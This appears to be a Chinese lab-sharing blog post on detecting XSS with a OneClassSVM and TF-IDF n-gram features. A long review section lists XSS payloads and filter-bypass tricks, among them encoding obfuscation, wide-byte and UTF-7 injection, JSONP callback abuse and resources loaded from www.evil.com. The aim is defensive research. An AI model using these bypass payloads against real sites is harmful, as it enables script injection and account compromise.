基于机器学习的XSS攻击防御

机器学习目前已经成为了各行各业首当其冲的技术核心,系统行不行,效果好不好就变成了算法选的对不对,特征向量化的维度够不够,参数优化的怎么样等等。本篇文章作为实验室内部分享主题的一个记录。记一下学习过程和完成过程。

本次分享的想法就是使用最近在学的机器学习,并结合相关安全的方面,进行几次结合,实际上这个想法已经很多人在弄了,并且已经出现了一些很不错的产品,但是自己还是要走一遍。

但是劝你不要抱有太高的希望,这标题看起来是个王者,实际上是个青铜。

在开始准备之前,我们先回顾一下XSS漏洞。

一、XSS漏洞回顾

XSS分为三类,反射型XSS,存储型XSS,DOM型XSS。由于DOM型XSS完全不需要服务器参与,靠的就是浏览器端的DOM解析,因此在不改变调用方式的情况下,是没办法在后端做措施防御的,因此我们先把它放在一边。

1.一般性情况

首先我们假设服务端不对用户输入与相应输出做任何编码与过滤,那么构造方法可分为以下几种:

(1)在HTML标签之间

最普通的场景出现在 <div id="body">[输出]</div> ,可以直接提交:

<script>alert(1)</script>

就可以触发XSS了,但是在以下标签中,则需要先闭合标签,再执行XSS代码

<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>

(2)在HTML标签之内

输出在value属性内,最普通的场景出现在<input type="text" value="[输出]" /> 位置,要触发XSS,有以下两种方法:

  • 提交payload:" onmouseover=alert(1) x=" ,这种是闭合属性,然后使用on事件来触发脚本。
  • 提交payload:"><script>alert(1)</script> ,这种是闭合属性后又闭合标签,然后直接执行脚本。

如果在下面的场景:<input type="hidden" value="[输出]" /> ,一般情况下,此时我们只能闭合 input 标签,否则由于hidden特性导致触发不了 XSS

如果在下面的场景:<input value="[输出]" type="hidden"/> ,和上面的仅仅是属性顺序不同,我们应该使用如下payload:

1" onmouseover=alert(1) type="text

这样成功率更高,更有效率,而且将输出变为一个标准的输入框,鼠标移上去就可以触发XSS。 同样的,遇到disabled属性也是一样的方法。

如果输出在 src/href/action 属性内,如 <a href="[输出]">click me</a> ,我们除了各种闭合之外,还可以:

javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

前提是我们提交的payload必须出现在这些属性值的开头部分(data: 协议的必须作为整个属性值出现)。对于第一个 javascript: 伪协议,所有的浏览器都支持 ,不过有些差异。对于第二个 data: 协议,仅IE浏览器不支持。

对于第一个,如果过滤了 / ,我们可以利用JavaScript逻辑与算数运算符,因为JavaScript是弱类型语言。比如:javascript:alert(1)-。输出后点击同样触发,只不过浏览器会报错,这样的错误是可以屏蔽的:window.onerror=function(){return true;}

输出在on事件内,由于 on* 事件内是可以执行 JavaScript 脚本的。根据不同场景,我们需要弄清楚我们的输出是作为整个 on 事件的值出现,还是以某个函数的参数值出现,这个函数是什么等。不同场景可能需要不同的闭合策略,最终目标都是让我们的脚本能顺利执行。

输出在style属性内,现在在 style 中执行脚本已经是 IE 浏览器独有的特性。对于 IE 来说,在标签的 style 属性中只要能注入 expression 关键词,并进行适当的闭合,我们就可以认为目标存在XSS,比如注入:

1;xss:expression(if(!windows.x){alert(1);window.x=1;})

得到输出:

<a href="#" style=“width:1;xss:expression(if(!windows.x){alert(1);window.x=1;})">click me</a>

属性引用符号, HTML是一个很不严格的标记语言,属性值可以不用引号,或者使用单引号,双引号,反单引号(仅IE浏览器支持)进行引用。如:

<a href=`javascript:alert(1)-html`>click me</a>

这样导致我们的闭合机制需要更灵活,以更大地提高检出率。因为如果同时提交’,”,` 三种引号进行闭合,可能会因为网站SQL注入防御屏蔽了单引号导致请求失败,而目标输出又是双引号进行属性值引用的。所以,对于XSS漏洞挖掘工具来说,需要具备识别闭合引号的有无及其类型,并提交针对性的闭合 payload。

(3)成为JavaScript代码的值

我们的payload可以是:

</script><script>alert(1)</script>
";alert(1)//

与其他一样,这个地方就是闭合标签,或闭合变量值的引用。

(4)关于存储型XSS挖掘

对于存储型的输出,一般位于:

  • 表单提交后跳转到的页面有可能是输出点。
  • 表单所在的页面有可能就是输出点。
  • 表单提交后不见了,需要在整个网站去找目标输出点,这个需要爬虫对网站进行再次爬取分析,当然这个过程是可以优化的,比如使用页面缓存技术,判断目标页面是否变动,一般发送 Last-Modified 与 Etag 头部,根据响应状态码进行判断。

2.DOM渲染

(1)HTML与JavaScript自解码机制

JavaScript 编码,具体有如下几种形式:

  • Unicode形式:uH(十六进制)
  • 普通十六进制:xH
  • 纯转义:'、"、<、>这样在特殊字符之前加 进行转义

在 JavaScript 执行之前,这样的编码会自动解码。

HTML 形式的编码,这种编码有以下两种:

  • 进制编码:&#xH;(十六进制格式)、&#D;(十进制格式),最后的分号可以省略
  • HTML实体编码;就是上面的HtmlEncode

在代码执行前,HTML 形式的编码会自动解码。

这里有一个需要注意的是,对于XSS攻击的编码绕过检测,进行哪种编码要根据上下文进行判断,如果实在<script>标签内,则要进行JS形式的编码,如果是在 HTML 标签的 on 事件内,则需要进行HTML形式的编码。

(2)具备 HtmlEncode功能的标签

如下标签具有 HtmlEncode 功能

<title></title>
<textarea></textarea>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>

<xmp> 没有 HtmlEncode 功能,<plaintext> 在 Firefox 与 Chrome 下有差异,Firefox下不会进行 HtmlEncode 编码,而 Chrome 下会,这样的差异有时候会导致安全问题。

(3)URL编码差异

浏览器在处理用户发起请求时的 urlencode 策略存在差异,导致在某些场景中出现 XSS 漏洞。

(4)DOM修正式渲染

我们经常通过网页源码功能来看所谓的”HTML源码“。这样看到的实际上是静态的。我们研究 DOM XSS 接触的必须是动态结果。

我们可以使用 F12 打开对应的调试工具,也可以执行以下 JavaScript 语句进行查看:

document.documentElement.innerHTML;

通过这些,我们可以发现这些浏览器在 DOM 渲染上进行各种修正,不同的浏览器进行的这种修正可能存在一些差异。这种修正式的渲染可以用于绕过浏览器的 XSS Filter。

“修正”功能不仅是浏览器的性质,其实在很多过滤器里都会有,有的人把这个过程叫做DOM重构。修正包括如下内容:标签正确闭合,属性正确闭合。

由于我女朋友是做前端的,之前就跟我说过一些标签就算不写结尾也可以正确闭合,当时还在想对于嵌套的各种标签,如何按照我们想要的顺序去闭合呢?事实上,利用这个闭合的特性,可以进行很多的绕过。

3.字符集缺陷导致的XSS

(1)宽字节编码带来的安全问题

GB2312、GBK、GB18030、BIG5、Shift_JIS 等都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃 ASCII 字符(一字节)的现象。

在某些情况,如引号被转义成为 ",导致我们的闭合不生效。

同时,如果这个网页头部响应指明了这是GBK编码,GBK编码第一字节(高字节)的范围是 0x81~0xFE,第二字节(低字节)的范围是 0x40~0x7E 与 0x80~0xFE,这样的十六进制表示。

而符号的十六进制表示为 0x5C,正好在 GBK 的低字节中,如果之前有一个高字节,那么正好会被组成一个合法字符,于是提交如下:

gb.php?x=1%81";alert(1)//

双引号会被转义成 " ,最终如下:

a="1[0x81]";alert(1)//";

[0x81] 组成了一个合法字符,于是之后的双引号就会产生闭合。就成功触发了XSS。

这些宽字节编码的高低位范围都不太相同。

有一点要注意,GB2312 是被GBK兼容的,它的高位范围是 0xA1~0xF7 ,低位范围是 0xA1~0xFE (0x5C 不在范围内),把上面的 PHP 代码的 GBK 改为 GB2312,在浏览器中处理行为同 GBK。

(2)UTF-7问题

自动选择UTF-7编码,在上古时代(IE 6/7),如果没有声明 HTTP 响应头字符集编码方式或声明错误:

Content-Type: text/html;charset=utf-8 //声明字符集编码方式
Content-Type: text/html  // 未声明字符集编码方式
Content-Type: text/html;charset=uf-8 //声明错误的字符集编码方式

同时,<meta http-equiv> 未指定 charset 或指定错误,那么 IE 浏览器会判断响应内容中是否出现 UTF-7 编码的字符串,如果有当前页面会自动选择 UTF-7 编码方式,如下:

<title> utf-7 xss </title>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
<div>123</div>

通过 iframe 方式调用外部 UTF-7 编码的HTML 文件, 父页通过 Content-Type 或 <meta> 标签来声明 UTF-7 编码,然后使用 <iframe> 标签嵌入外部 UTF-7 编码的HTML 文件,代码如下:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-7">
<body>
<iframe src=" utf-71.html"/>
</body>
</html>

utf-71.html 的代码如下:

<html>
+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-
</html>

不过现在 IE 限制了 <iframe> 只能嵌入同域内的 UTF-7 编码文件,虽然曾经有通过重定向跳转到外域的方式绕过这个限制。

通过<link>标签嵌入外部 UTF-7 编码的 CSS文件,此时父页不需要声明 UTF-7 编码方式,代码如下:

<html>
<title>123</title>
<link rel="stylesheet" href="http://www.evil.com/utf7.css" type="text/css" />
</html>

utf7.css可以在外域,代码如下:

@charset "utf-7"
body+AHs-x:expression(if(!window.x)+AHs-alert(1)+ADs-window.x=1+ADsAfQ-)+AH0-

通过指定 BOM 文件头,BOM 的全称为 Byte Order Mark,即标记字节顺序码,只出现在 Unicode 字符集中,BOM 出现在文件的最开始位置,软件通过识别文件的 BOM 来判断它的 Unicode 字符集编码方式,对于UTF-7来讲,对应的BOM头为 +/v8、+/v9、+/v+、+/v/ ,也就是说,相关解析软件如果发现 BOM 是 +/v8 ,就认为目标文档是 UTF-7 编码。

在实际的攻击场景中,能控制目标网页开头部分的功能如下:

  • 用户自定义的 CSS 样式文件
  • JSON CallBack 类型的链接

4.代码混淆

废话不说,先扔个利器:http://monyer.com/demo/monyerjs/

(1)进制问题

浏览器中常用的进制混淆有八进制、十进制、十六进制。

十进制在 HTML 中可使用 8来表示,用 & 和 # 作为前缀,中间为10进制数字,使用半角分号(;)作为后缀,其中后缀也可以没有。

十六进制使用 Z 来表示,比十进制多了个x,进制码中多了 a~f 这6个字符来表示 10~15,其中后缀也可以没有,而且x 和 a~f 这几个字符大小写不敏感。

在 CSS 的属性中,我们也只能用到十进制和十六进制, CSS兼容 HTML 中的进制表示形式,除此之外,十六进制还可以使用 6c 的形式表示,即使用斜线作为进制数值前缀。

在 JavaScript 中可以直接通过 eval 执行的字符串有八进制和十六进制两种编码方式,其中八进制用56表示,十六进制用x5c表示。需要注意的是,这两种表示方式不能够直接给多字节字符编码(如汉字、韩文等),如果代码中应用了汉字并且需要进行进制编码,那么只能进行十六进制 Unicode 编码,其表示形式为u4ee3u7801

除此之外,我们也会遇到其他一些编码形式,如URIEncode,以及用进制数值表示 IP 的格式。

JavaScript 自身带有两个函数可以将代码转化为进制字符:

  • char.toString(jinzhi) char为需要编码的单字,jinzhi为需要编码的进制
  • String.fromCharCode(code,jinzhi) code为需要进制解码的数字,jinzhi为当前数字的进制

HTML进制怎么用呢?举个例子:

<img src=http://www.baidu.com/img/logo.png>

转换为十进制:

<img src=http://www.baidu.com/img/logo.png>

转换为十六进制:

<img src=http://www.baidu.com/img/logo.png>

当浏览器在运行这两行代码时,两张图片依然能够显示,就说明浏览器自身已经对上述编码做了自动解码。

HTML自编码中,十进制编码设定了其最小位数为3位,所以不够3位的数值用 0 补充,这在实际的代码混淆中很有用,它可以用来绕过一些站点的过滤器,不过不同的浏览器对所能支持的位数有一定的要求,如 IE 只能支持最大 7 位数值,而对 Chrome 来说,设置位数无限制。

另外,由于进制方式对字母的大小写不敏感,后缀”;”也不是必需的,并且我们也可以将常规字符、十进制编码和十六进制编码字符混合,所以可以将代码混淆成如下形式:它依然是有效的:

<img src=ht&#0116p:&#x00002F/baidu.com/im&#X67/logo.png>

对于CSS进制用法,例子如下:

<div style="background:red;">1</div>

对其进行十进制编码和十六进制编码的效果分别如下:

<div style="background:red;">1</div>
<div style="6261636b67726f756e64:072065064;">1</div>
<div style="background:red;">1</div>

这里需要注意的是,如果使用 6261 形式进行十六进制编码,那么要注意将 CSS属性名和属性值之间的冒号留出来,否则代码将不会解析。同样,我们可以把以上三种编码方式混合到一个字符串中,代码依旧可以正确执行。

JavaScript进制的用法,之前说了,在eval中是八进制和十六进制,假设原语句如下:

<script>eval("alert('你好')");</script>

其八进制和十六进制的代码如下:

<script>eval("1411541451621645047u4f60u597d4751");</script>
<script>eval("x61x6cx65x72x74x28x27u4f60u597dx27x29");</script>

其中,中文部分一定要使用 Unicode 的形式,即 u 加上汉字的十六进制编码。

另外,虽然十进制不能直接通过eval来执行,但可以使用 String.fromCharCode 函数先对数值进行解码,然后传递给eval执行

<script>eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59));</script>

(2)浏览器的编码问题

在 JavaScript 中,有三套编/解码的函数,分别为:

  • escape/unescape
  • encodeURI/decodeURI
  • encodeURIComponent/decodeURIComponent

三种方法有少许的区别,我们可以利用这些区别来搞事情,另外,我们可以编写一个函数来使 escape可以对所有的字符进行编码,代码如下:

var ExEscape = function(str){
  var _a,_b;
  var _c="";
  for (var i = 0; i < str.length; i++) {
    _a = str.charCodeAt(i);
    _b = _a < 256 ? "%" : "%u"; //u不可以大写
    _b = _a < 16 ? "%0" : _b;
    _c += _b + _a.toString(16).toUpperCase(); //大小写皆可.toLowerCase()
  }
  return _c;
}

这样我们可以使用eval(unescape(%61%6C%65%72%74%28%31%29)); 的形式来绕过过滤器对某些关键词的过滤。

(3)HTML代码注入技巧

HTML标签不区分大小写,而且由于现代浏览器对 XHTML 的支持,使得我们可以在某些浏览器的某些版本中插入 XML 代码、SVG代码或未知标签。如在 IE 6下可以构造如下代码:

<XSS STYLE="xss:expression(alert('XSS'))">

有些过滤器的 HTML Parser 很强大,会判断当前代码段是否存在于注释中,如果是注释,则忽略,这样做的目的是为了维持用户数据的最大完整性,但是却给了我们可乘之机。如有些过滤器的判断注释的方法为:<!--.*--> ,但注释可以这样写:bbb<!-- aaa <!-- aaa-->ccc -->bbb ,这样 “ccc” 代码就暴露出来可以执行了。

而与之相反,有些HTML Parser不关心是否有注释,只关心 HTML标签、属性、属性值是否有问题,如标签是否是<script> ,属性是否是 JavaScript 事件,属性值是否是伪协议等,但是由于注释优先级较高,我们可以构造以下一段代码:

<!--<a href="--><img src=x onerror=alert(1)//">test</a>

还有一种特殊的注释:IE HTML条件控制语句。

<!--[if IE]>所有的IE可识别<![endif]-->
<!--[if IE 6]>仅IE6可识别<![endif]-->
<!--[if lt IE 6]>IE6 以及 IE6 以下版本可识别<![endif]-->
<!--[if gte IE 6]>IE6 以及 IE6 以上版本可识别<![endif]-->

这是IE独有的,执行方式如下

<!--[if]><script>alert(1)</script -->
<!--[if]><img src=x onerror=alert(1)//]> -->

在 HTML 语法中有标签优先级的概念,有些标签如<textarea>、<title>、<style>、<script>、<xmp> 等具有非常高的优先级,使得其结束标签可以直接中断其他的标签的属性:

<title><ahref="</title><img src=x onerror=alert(1)//">
<style><ahref="</style><img src=x onerror=alert(1)//">

如果过滤器将如上标签也过滤了,那么我们也可以尝试一下这些方式

<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">

HTML标签中的属性同样也是大小写不敏感的,并且属性值可以用双引号引起来,也可以用单引号,甚至不用引号在HTML语法上也是正确的。而且在 IE 下面还可以用反引号来包括属性值,形式分别如下:

<img src="#">
<img SRC='#'>
<img sRC=#>
<img src=`#`>

此外,标签和属性之间、属性名和等号之间、等号和属性值之间可以用空格、换行符(chr(13))、回车符(chr(10))、或者 tab (chr(9))等,并且个数不受限制。

另外,我们还可以在属性值的头部和尾部(引号里面)插入系统控制字符,即 ASCII 值为 1~32 这32 个控制字符,不同的浏览器都有各自的处理方式。

<a &#8 href="&#32javascript:alert(1)">test</a>

对于普通属性,如果我们可以控制的变量是属性值,那么我们能做的就只能是突破当前属性,尝试去构造新属性或者新标签。但如果属性值是被引号包括的,对方也过滤了引号,或者做了 HTMLEncode转义,那么既没有XSS 安全隐患,也没有可以利用的方式。

不过目前这里至少有两个特例:

<img src="x` ` <script>alert(1)</script>"` `>   (IE 6)
<img src= alt=" onerror=alert(1)//"> (IE、Firefox、Chrome、Opera等)

对于资源类属性,我们可以理解为属性值需要为 URL 的属性,通常,属性名都为 src 或 href 。这类属性一般都支持浏览器的预定义协议,包括 http: ftp: file: https: javascript: vbscript: mailto: data: 等。

有一些是网络交互协议,有一些是本地协议,我们称本地协议为伪协议,由于其可以调用本地程序执行命令这一点,使得它成为我们在 XSS 中利用的对象。

常见的支持资源属性的 HTML 标签举例:

APPLET,EMBED,FRAME,IFRAME,IMG,
INPUT type=image,
XML,A,LINK,AREA,
TABLETRTDTH 的 BACKGROUND 属性,
BGSOUND,AUDIO,VIDEO,OBJECT,META refresh,SCRIPT,BASE,SOURCE

同 HTML 标签和属性的特点相似,伪协议的协议名也是不区分大小写的,并且跟事件相仿,数据也可以做自动的 HTMLDecode 解码以及进制解码,所以我们可以有多种利用方法:

<iframe src="jAVasCriPt:alert('xss')">
<iframe src="javascript:alert("&#88&#83&#83")">
<iframe src="javascript:alert(String.fromCharCode(88,83,83))">

另外有几个不常用的属性也支持伪协议:

<img dynsrc="javascript:alert('xss')"> (IE6)
<img lowsrc="javascript:alert('xss')"> (IE6)
<isindex action=javascript:alert(1) type=image>

另一种特殊的 HTML 属性是事件属性,一般以 on 开头,它继承了普通 HTML 属性的所有特点:大小写不敏感,引号不敏感等。

(4)JavaScript代码注入技巧

当 XSS 点出现在 JavaScript 代码的变量中时,只要我们可以顺利闭合之前的变量,接下来就可以插入我们的代码了。

如果对方的站点使用了 addslashes,这样单引号、双引号和反斜线前面都会增加一条反斜线,这种情况可以采用宽字节的方式吃掉反斜线。 或者也可以使用下面的语句:

var a = "123</script><script>alert(1);</script>";

对 HTML 页面中的 JavaScript 代码来说,</script>闭合标签具有最高优先级,可以在任何位置中断 JavaScript 代码。

JSON也存在很多可以利用的地方,
根据需求的不同,JSON大体上有两种格式:没有 callback 函数名的 裸Object 形式,和有 callback 函数名的参数调用 Object 的形式,格式如下:

[{"a":"b"}]
callback([{"a":"b"}])

后者的存在主要是为了跨域数据传输的需要。

一些应用为了维持数据接口的定制性,通常会让数据请求方在请求参数中提供 callback 函数名,而不是由数据提供方定制,如请求方发起请求:

get_json.php?id=123&call_back=some_function

那么数据提供方返回的数据就会成为如下形式:

<script>alert(1)</script>([{'id':123,data:'some_data'}]);

由于页面是可访问的,浏览器默认就会当成 HTML 来解析,使得我们的 XSS 得以执行。

而且由于callback函数处于文件开头,我们可以使用 “+/v8” 等字符让 IE 浏览器认为这是一个 UTF-7 编码的文件,之后再将我们的 XSS 代码进行 UTF-7 编码放进来即可。(这种方式已经成为历史)payload如下:

get_json.php?id=123&callback=%2B%2Fv8%20%2BADw-script%2BAD4-alert(1)%2BADw-%2Fscript%2BAD4

如果数据提供方给 JSON 数据页面 HTTP 响应头设置 Content-Type,可以存在被绕过的情况。

  • “text/javascript” 在IE下有效,在 Firefox下我们的代码依旧能够执行。
  • “text/plain” 在Firefox下有效,在IE下会执行。
  • “application/x-zip-compressed” 对于XSS攻击在IE下会失效。

一般认为设置成“application/json” 相对来说还是比较有效的,不过还是存在突破的可能性。

因为 IE 浏览器确定文件类型时不完全依赖 Content-Type ,有时,如果我们直接增加一个 URL 参数为 a.html ,IE会认为这是一个 HTML 文件而忽略 Content-Type,使用 HTML 来解析文件。

将其放到如下位置,就有可能绕过 Content-Type:

foo.cgi?id=123&a.html
foo/?id=123&a.html
foo.php/a.html?id=123(apache 服务器会忽略掉 /a.html 去请求 foo.php)

有时虽然可以插入一个 alert(1) 这样的代码,但是想插入更多时,发现代码被做了 HTMLEncode 过滤,这时我们可以采用之前提到的方法,进行进制转换后使用 eval 来执行:

eval(String.fromCharCode(97,108,101,114,116,40,49,41,59));

如果对输入的内容有字数限制,我们甚至可以输入 eval(name) 来做执行入口,然后在另一个可控制的页面(如攻击者的网站)放置如下一段代码:

<script>
window.name = "alert('xss')";
location.href = "http://target.com/xss.php";
</script>

另一种,过滤器情况可能与之相反,没有限制字数,却过滤了大部分函数,如 eval、alert、http链接之类,那么我们都可以采取一些手段来绕过过滤器,如用 (0)['constructor']['constructor']来代替 eval,用 ‘h’+’t’+’t’+’p’来绕过简单的链接过滤等。

还可以使用类似JSFUCK等方式。

除此之外,我们也可以使用 Flash 来绕过过滤器和隐藏我们的脚本内容:

<embed allowscriptaccess="always" src="http://www.evil.com/x.swf" />

(5)CSS中的代码注入技巧

以一段 CSS为例

@charset "UTF-8";
body{
    background:red;
    font-size:16px;
}
a{
    font-size:14px!important;
}

其中,body 和 a 为选择符;background、font-size为属性名,后面为属性值;@charset为规则;!important为声明。其中能被我们利用插入XSS脚本的地方只有 CSS 资源类属性值和 @import 规则,以及一个只能在 IE 浏览器下执行的属性值 expression。

另外,@charset这个规则虽然不能被利用插入XSS 代码,但是在某种情况下会对我们绕过过滤器给予很大的帮助。

与 HTML 类似,CSS 的语法同样对大小写不敏感,属性值对单双引号不敏感,对资源类属性来说,URL部分的单双引号以及没有引号也都不敏感,并且凡是可以使用空格的地方使用 tab 制表符、回车和换行也都可以被浏览器解析。

CSS方面的接触不多,也不怎么会玩,暂放不表。

(6)突破URL过滤

有的时候,我们注入 URL 时,可以参考如下一些技巧来绕过过滤:

正常 <A HREF="http://66.102.7.147/">XSS</A>
URL编码 <A HREF="http://%36%36%2e%31%30%32%2e%37%2e%31%34%37/">XSS</A>
十进制 <A HREF="http://1113982867/">XSS</A>
十六进制 <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制 <A HREF="http://0102.0146.000700000223/">XSS</A>
混合编码 <A HREF="http://6	6.000146.0x7.147/">XSS</A>
不带http协议 <A HREF="//www.google.com/">XSS</A>
最后加个点 <A HREF="http://www.google.com./">XSS</A>

对于上述的XSS姿势,基本上涵盖了初步的XSS攻击绕过手段,出自余弦《Web前端黑客技术揭秘》,但在实际测试中,发现事情没有你想的那么简单,不同的浏览器处理方式不同,处理的程度也不同,还有各种各样的问题,特性,不同版本的各种不同浏览器出来的结果也不同,所以很多比较偏的漏洞利用方式,比较依赖环境,也比较有时效性,这些需要我们自己Fuzz得到,网上也有一些网站会发布这些利用方式。

在测试中,通常使用 alert ,prompt,confirm 将页面弹出窗口,表示能够注入XSS,但实际的攻击中,更多的是引入外部文件,实现更多的功能。

了解到这里,对于XSS的回顾就差不多了,接下来我们进入算法部分。

二、算法选择

首先我们明确的一点,就是这是一个分类问题,分类问题能实现的算法有很多,在这里我选择的是 OneClassSVM 算法。 OneClassSVM通常用于两个地方:异常值检测、解决极度不平衡数据。它通常被称为半监督学习,实际它本质上就是无监督学习。

为什么选择这个算法呢?

首先我们将问题抽象成了二元分类问题。经典svm训练的方式,就是将一堆已标注了是否是XSS攻击的数据(所谓的黑白样本),提取出能够区分出是否为XSS的特征后,通过svm中的支持向量,找到是否是XSS攻击的两类特征点的最大间隔。进而在输入一个新的请求后,经过特征提取步骤,就可以通过这个训练好的svm很快得出是否是XSS攻击,此时我们得出的结论,这个请求要么是攻击,要么不是。

以上情况是假设,我们用于训练的样本,包括了是否是XSS攻击的两类样本,并且两类样本的数目较为均衡。现实生活中的我们也是这样,我们只有在接触了足够多的XSS攻击姿势,知道了正常的请求可能就是个简单的字符串,包含一些常用字,单词,字母,数字等,而XSS攻击可能出现script src href 尖括号、引号等,我们才能够一眼看出这个请求是不是带有XSS攻击。

但如果有一个特殊的场景,比方说,有一个小和尚,他从小在寺庙长大,从来都只见过男生,没见过女生,那么对于一个男性,他能很快地基于这个男性与他之前接触的男性有类似的特征,给出这个人是男性的答案。但如果是一个女性,他会发现,这个女性与他之前所认知的男性的特征差异很大,进而会得出她不是男性的判断。

两者的答案看似一个样的,都将问题进行了分类,但是我们可以清楚的发现,一个给出的答案不是1就是2,一个给出的答案是是1和不是1,这种方式在我们的目前的应用中就很不错。

以上场景就是一类svm的典型应用场景,当出现一个分类问题中,只有一种类型的样本,或有两种类型样本,但其中一类型样本数目远少于另一类型样本数目(如果此时采用二分类器,训练集中正负样本不均衡,可能造成分类器过于偏向数目多的样本类别,使训练出来的模型有高偏差)时,就可以考虑使用一类svm进行分类。

这就说明了我们为什么选择这个,因为XSS攻击行为的特征是有迹可循的,但是正常的就不一定,比如针对搜索功能,用户可能搜索的东西千差万别,我们没有办法准备一个白名单去迎合这些搜索关键字。

OneClassSVM  已经能够满足我们的要求,在实现过程中,还分为 SVDD和OCSVM。

OCSVM(one class support vector machine)即单类支持向量机,最先提出的文献为:Estimating the support of a high-dimensional distribution. 该模型 将数据样本通过核函数映射到高维特征空间,使其具有更良好的聚集性,在特征空间中求解一个最优超平面实现目标数据与坐标原点的最大分离。

SVDD((Support Vector Data Description)即支持向量数据描述,最先提出的文献为:Support Vector Data Description,其基本思想是通过在映射到高维的特征空间中找出一个包围目标样本点的超球体,并通过最小化该超球体所包围的体积让目标样本点尽 能地被包围在超球体中,而非目标样本点尽可能地排除在超球体中,从而达到两类之间划分的目的。该方法目标是求出能够包含正常数据样本的最小超球体的中心a和半径R。

当对数据进行标准化处理后 ,2种模型能够取得一样的效果 。同时SVDD的论文指出当采用高斯核函数时,2种模型对数据的描述效果相当。

由此,我们选择采用高斯核函数的 SVDD  OneClassSVM 。

三、数据采集

我们都知道,数据是一个机器学习算法的核心,数据的好坏将直接决定了一个机器学习算法模型的好坏,因此这一个部分我们应该着重在意。

最开始,我想的是管实验室的靶场要一个XSS靶场的日志,然后自己处理,后来想想比较费劲,我们既然要做一个防御,那就没必要对参数什么的过多在意,我们只需要直接对参数值本身在意就可以了。

于是,我们要做的就是收集在网上、在自己渗透测试中遇到的、整理的一些payload,这些payload不一定要多么六,多么牛逼,姿势有多么骚,因为我们做的不是攻击,而是防御,我们只要让算法认识XSS长成什么样子就可以了。

在这里我不得不提实验中某位大佬,这位大佬遇到可能XSS的时候,直接掏出两个txt,里面满满的都是XSS payload,什么闭合标签,什么编码绕过,什么混淆,去TMD的,老子先跑一下自己的字典,看看有没有弹窗的。但是不得不说,在很多情况下,比我用手绕的要快多了(汗)。

除了整理的这些XSS的payload之外,你也可以在互联网上很快的获得一些数据。比如在搜索引擎或Github上搜索 XSS Cheat Sheet,XSS Payload 等等,会有很多前辈为你整理好的一些你没见过的姿势,既可以用来学习,也可以用来训练模型,美滋滋。

另外还有许多类似 http://html5sec.org/ 这样优秀的网站,提供给我们一些各式各样的攻击payload,大家可以自己去搜集研究。

我们也知道,很多XSS攻击和payload是有应用场景的,在攻和防的此消彼长下,防御和绕过的手段不断变换,导致payload千变万化,很多时候需要安全研究员在一个点挖的很深,才能真正利用。

这样我们就有了一堆数据,这些数据够不够呢?你觉得够就够,模型效果好就够,哈哈,我就是这么随意。

但是我觉得不够,为什么呢?别忘了我们的目的,我们是想去防御XSS,我们想训练模型认识XSS,那我们完全没必要非要去搜集这些在某些特定场景能够执行的payload,我们只要喂给模型一些 “长的像” XSS的攻击行为即可,这些所谓“长的像”的数据,不一定能够攻击成功,甚至完全没必要理会它们能不能执行,但是他们长的足够像XSS攻击,那我们就认定他有威胁,这种数据甚至也会帮助模型认识某些FUZZ特征。

那我们怎么生成这些数据呢?我们先来回顾一下之前整理的XSS攻击行为,一个XSS攻击可能长成这样:

基于机器学习的XSS攻击防御

利用这些特征,我们可以使用python随机拼凑这些字符串,随机进行进制转换,随机编码,再胡乱填充一些空格啊、注释啊、控制字符啊等等等等,记得我们的目的,不需要能实施攻击,只要长的足够像XSS就可以了。

这样,利用我们采集的数据,以及我们自己生成的数据,就可以力求去覆盖全部已知的和未知的XSS攻击,这样才能够真正的做到所谓“ 下一代 ”防御,而不是某些厂家宣传是下一代,结果还在用规则防御。

四、特征向量化

不用多说,特征向量化也是特别重要的一步,这一步我参考了很多网上做类似事情的文章,但是都与我的想法有悖。

有的人自己定义特征向量,比如字符串是否含有src,是否包含script,是否包含尖括号等等,我想说,大佬你这么干还不如直接用规则呢。。

我们想做的是让机器学习算法自己去认识什么是XSS,长什么样是XSS,那也就是文本序列处理,语义识别,上下文联系等等这些东西,但是鉴于本人太菜,那些东西都不知道怎么实现。。。

但是我们这个时候发现了一个东西: TF-IDF(term frequency–inverse document frequency)是一种用于信息检索与数据挖掘的常用加权技术。TF意思是词频(Term Frequency),IDF意思是逆文本频率指数(Inverse Document Frequency)。tf-idf是一种统计方法,用以评估一字词对于一个文件集或一个语料库中的其中一份文件的重要程度。字词的重要性随着它在文件中出现的次数成正比增加,但同时会随着它在语料库中出现的频率成反比下降。tf-idf加权的各种形式常被搜索引擎应用,作为文件与用户查询之间相关程度的度量或评级。除了tf-idf以外,互联网上的搜索引擎还会使用基于链接分析的评级方法,以确定文件在搜索结果中出现的顺序。

计算方法:通过将局部分量(词频)与全局分量(逆文档频率)相乘来计算tf-idf,并将所得文档标准化为单位长度。

这个算法可以被用作关键字查询、文件与用户查询之间相关程度的度量或评级等用途。其中心思想就是字词的重要性随着它在文件中出现的次数成正比增加,但同时会随着它在语料库中出现的频率成反比下降。

由于我们的数据中包含了大量的特殊符号、字母、数字的组合,如果按照传统的空格分词或者某些符号分词,计算TF-IDF时造成特征过多,过杂,影响效率,更为提高了后面特征空间映射,维数约减难度。那么我们采用n-grams进行分词提取。拿2-grams来举例:

由于访问路径均为ASCII码(未解码前),假设访问路径包含100种可打印字符。那么对于每条样本,2-grams分词出来后,我们都有对应的一个维的向量。那么对于某条访问路径,如abcd,2-grams分词出来后是[ab,bc,cd],那么我们计算[ab,bc,cd]对应的TF-IDF值,将其填入对应的向量位置

模型向量化和特征参考选择部分参考:http://www.heibai.org/post/846.html

五、模型训练及调优

有了这些想法后,我们剩下的就是使用代码进行实现、调优、并实验效果了。

大体流程是,我们使用sklearn编写模型,并调优,得到令我们满意的模型,并将其保存下来,使用django起一个接口,接到参数,调用保存好的模型,预测之后返回 json 格式数据即可。

